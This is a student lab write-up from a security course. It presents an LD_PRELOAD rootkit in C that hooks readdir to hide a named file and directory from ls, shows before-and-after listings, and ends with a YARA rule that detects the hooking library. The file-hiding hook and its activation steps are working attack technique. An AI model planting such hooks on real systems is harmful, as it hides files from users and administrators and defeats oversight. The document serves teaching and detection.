Rootkits and Yara Rules

Code can be found here: https://github.com/c2003-tamu/413

Environment Setup

- Clone git repo
- Ensure gcc and yara are installed
    - sudo apt install yara

Rootkit

The rootkit I chose to develop hides files from the user by using the LD_PRELOAD environment variable to hide files from the ls command. The code can be seen below:

```c
// define readdir structure
typedef struct dirent* (*orig_readdir)(DIR *dir);

struct dirent *readdir(DIR *dir) {
    // find address of original readdir function
    orig_readdir orig_readdir_inst;
    orig_readdir_inst = dlsym(RTLD_NEXT, "readdir");

    // keep calling original function until i have read all files
    struct dirent* return_file;
    while((return_file = orig_readdir_inst(dir)) != NULL) {
        // detect file names, can do whatever i want with them at this point
        // simply filter a file and directory away from the user
        if(strcmp(return_file->d_name, "malware.evil") == 0 || strcmp(return_file->d_name, "important_directory") == 0){
            continue;
        }
        return return_file;
    }
}
~
~
~
```

As indicated by the comments, I essentially find the original address of readdir in the machine, and then call that for each file, watching and filtering the output, until I have read all files in the given directory.

I decided to only hide 1 file: malware.evil and 1 directory: important_directory from the user.

Original ls output:

```
vboxuser@meow:~/Desktop/413/yararootkit$ /bin/ls -l
total 40
-rw-rw-r-- 1 vboxuser vboxuser    20 Mar 24 17:53 ambiguous.txt
-rw-rw-r-- 1 vboxuser vboxuser   178 Mar 24 18:52 detect_ldpreload.yar
-rw-rw-r-- 1 vboxuser vboxuser    10 Mar 24 18:22 good.txt
-rw-rw-r-- 1 vboxuser vboxuser   847 Mar 24 20:39 hook.c
-rwxrwxr-x 1 vboxuser vboxuser 15600 Mar 24 20:39 hook.so
drwxrwxr-x 2 vboxuser vboxuser  4096 Mar 24 20:23 important_directory
-rw-rw-r-- 1 vboxuser vboxuser     9 Mar 24 17:46 malware.evil
```

Output using the LD_PRELOAD environment variable rootkit exploit:

```
vboxuser@meow:~/Desktop/413/yararootkit$ LD_PRELOAD=./hook.so /bin/ls -l
total 32
-rw-rw-r-- 1 vboxuser vboxuser    20 Mar 24 17:53 ambiguous.txt
-rw-rw-r-- 1 vboxuser vboxuser   178 Mar 24 18:52 detect_ldpreload.yar
-rw-rw-r-- 1 vboxuser vboxuser    10 Mar 24 18:22 good.txt
-rw-rw-r-- 1 vboxuser vboxuser   847 Mar 24 20:39 hook.c
-rwxrwxr-x 1 vboxuser vboxuser 15600 Mar 24 20:42 hook.so
```

NOTE: As discussed in class, we do not have to set the LD_PRELOAD environment variable in the same command as our ls command. I just did this to show the difference between the commands easily. Alternatively, we could run the command “export LD_PRELOAD=path/to/file.so” and then run ls in a separate command..

Yara Rule

To detect the previously created rootkit using a yara rule, I made the following yara rule:

```
import "elf"

rule preload {
  strings:
        $islib = /[a-zA-Z].so/
        $lshook = "readdir"
  condition:
        (elf.type == elf.ET_EXEC or elf.type == elf.ET_DYN) and ($islib and $lshook)
}
~
```

This is a simple yara rule that simply checks a given directory for files that are executable, shared libraries, match the regex pattern seen in $islib and has readdir somewhere in the file. It should be noted that it was beneficial to know exactly what should be looked for in this scenario. The fact that I knew I had to look for something exploiting LD_PRELOAD using readdir made this part of the assignment much easier.

The output of the yara rule is seen below:

```
vboxuser@meow:~/Desktop/413/yararootkit$ yara detect_ldpreload.yar .
preload ./hook.so
vboxuser@meow:~/Desktop/413/yararootkit$
```

This has detected the malicious binary without any false positives in the given sample set.